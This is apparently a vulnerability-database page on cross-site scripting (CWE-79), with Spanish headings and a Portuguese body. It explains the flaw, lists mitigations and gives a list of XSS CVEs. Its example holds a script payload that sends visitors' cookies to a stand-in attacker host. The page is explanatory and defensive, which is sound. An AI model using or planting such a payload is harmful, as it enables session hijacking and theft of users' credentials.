Fallos del tipo CWE-79

30.270 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-57773MEDIUMA cross-site scripting (XSS) vulnerability in the openSelectManyUserPage?orgid interface of JFinalOA before v2025.01.01 allows attackers to EPSS 0.3%CVE-2026-36748CRITICALRockRMS v16.13 and before v.17.7.0 is vulnerable to Cross Site Scripting (XSS) via Social Media links in user profile.EPSS 0.3%CVE-2022-50891MEDIUMOwlfiles File Manager 12.0.1 Cross-Site Scripting via HTTP ServerEPSS 0.3%CVE-2026-76858MEDIUMNetcore NR255-V 1.5.130703 Stored Cross-Site Scripting via DDNS eval() in ddns_wan_list_show.cgiEPSS 0.3%CVE-2021-47729MEDIUMSelea Targa IP Camera Stored Cross-Site Scripting via Files ListEPSS 0.3%CVE-2024-37271MEDIUMWordPress Print My Blog plugin <= 3.27.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1943MEDIUMYayMail <= 4.3.2 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via Template ElementsEPSS 0.3%CVE-2026-25487MEDIUMCraft CMS has Stored XSS in Tax Rates Name Leading to Potential Privilege EscalationEPSS 0.3%CVE-2025-14040MEDIUMAutomotive Car Dealership Business WordPress Theme <= 13.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Call to Action FieldsEPSS 0.3%CVE-2026-49243CRITICALWebmin: Reflected XSS in the Configuration moduleEPSS 0.3%CVE-2025-30613MEDIUMWordPress Nmedia MailChimp plugin <= 5.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-8916MEDIUMSuki Sites Import <= 1.2.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-11782MEDIUMWP Mailster <= 1.8.17.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-9145MEDIUMScada-LTS SVG File view_edit.shtm cross site scriptingEPSS 0.3%CVE-2025-9388MEDIUMScada-LTS watch_list.shtm cross site scriptingEPSS 0.3%CVE-2024-11898MEDIUMScratch & Win – Giveaways and Contests <= 2.6.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-56239MEDIUMWordPress Themify Audio Dock plugin <= 2.0.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37943MEDIUMWordPress YITH WooCommerce Ajax Product Filter plugin <= 5.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-45222MEDIUMWestermo Lynx Cross-site ScriptingEPSS 0.3%CVE-2025-49948HIGHWordPress WP Super Edit plugin <= 2.5.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%